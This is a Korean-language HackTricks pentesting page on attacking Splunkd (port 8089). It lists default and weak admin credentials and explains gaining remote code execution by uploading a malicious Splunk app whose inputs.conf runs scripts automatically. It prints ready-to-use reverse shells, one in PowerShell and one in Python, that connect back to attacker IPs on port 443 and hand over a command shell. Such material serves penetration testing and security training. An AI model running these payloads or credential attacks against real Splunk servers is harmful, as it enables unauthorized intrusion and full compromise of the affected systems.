8089 - Pentesting Splunkd
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
- 데이터 수집, 분석 및 시각화를 위한 로그 분석 도구
- 보안 모니터링 및 비즈니스 분석에 일반적으로 사용됨
- 기본 포트:
- 웹 서버: 8000
- Splunkd 서비스: 8089
취약점 벡터:
- 무료 버전 악용
- 평가판 버전은 60일 후 자동으로 무료 버전으로 전환됨
- 무료 버전은 인증이 없음
- 관리되지 않을 경우 잠재적인 보안 위험
- 관리자가 보안 문제를 간과할 수 있음
- 자격 증명 약점
- 이전 버전: 기본 자격 증명
admin:changeme
- 최신 버전: 설치 중 설정된 자격 증명
- 약한 비밀번호 사용 가능성 (예:
admin
,Welcome
,Password123
)
- 원격 코드 실행 기회
- 여러 코드 실행 방법:
- 서버 측 Django 애플리케이션
- REST 엔드포인트
- 스크립트 입력
- 경고 스크립트
- 크로스 플랫폼 지원 (Windows/Linux)
- 스크립트 입력은 다음을 실행할 수 있음:
- Bash 스크립트
- PowerShell 스크립트
- 배치 스크립트
주요 악용 가능성:
- 민감한 데이터 저장
- 무료 버전의 인증 부족
- 잠재적인 원격 코드 실행을 위한 여러 벡터
- 시스템 손상을 위한 스크립트 입력 활용 가능성
Shodan
Splunk build
RCE
사용자 정의 애플리케이션 생성
Splunk는 사용자 정의 애플리케이션 배포를 통해 원격 코드 실행을 위한 정교한 방법을 제공하며, 크로스 플랫폼 스크립팅 기능을 활용합니다. 핵심 악용 기술은 Windows 및 Linux 시스템에서 리버스 셸을 실행할 수 있는 악성 애플리케이션을 만드는 것입니다.
사용자 정의 애플리케이션은 Python, Batch, Bash 또는 PowerShell 스크립트를 실행할 수 있습니다. 또한, Splunk에는 Python이 설치되어 있으므로, Windows 시스템에서도 Python 코드를 실행할 수 있습니다.
이 예제를 사용할 수 있으며, **bin
**에는 Python 및 PowerShell 예제가 포함되어 있습니다. 또는 자신만의 것을 만들 수도 있습니다.
악용 과정은 플랫폼 전반에 걸쳐 일관된 방법론을 따릅니다:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
중요한 구성 파일 inputs.conf
는 다음과 같이 스크립트를 활성화합니다:
disabled = 0
설정- 10초 실행 간격 구성
- 스크립트의 소스 유형 정의
배포는 간단합니다:
- 악성 애플리케이션 패키지 생성
- 공격 머신에서 리스너(Netcat/socat) 설정
- Splunk의 인터페이스를 통해 애플리케이션 업로드
- 업로드 시 자동 스크립트 실행 트리거
샘플 Windows PowerShell 리버스 셸:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
샘플 리눅스 파이썬 리버스 셸:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
다음 페이지에서는 이 서비스를 악용하여 권한을 상승시키고 지속성을 확보하는 방법에 대한 설명을 찾을 수 있습니다:
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.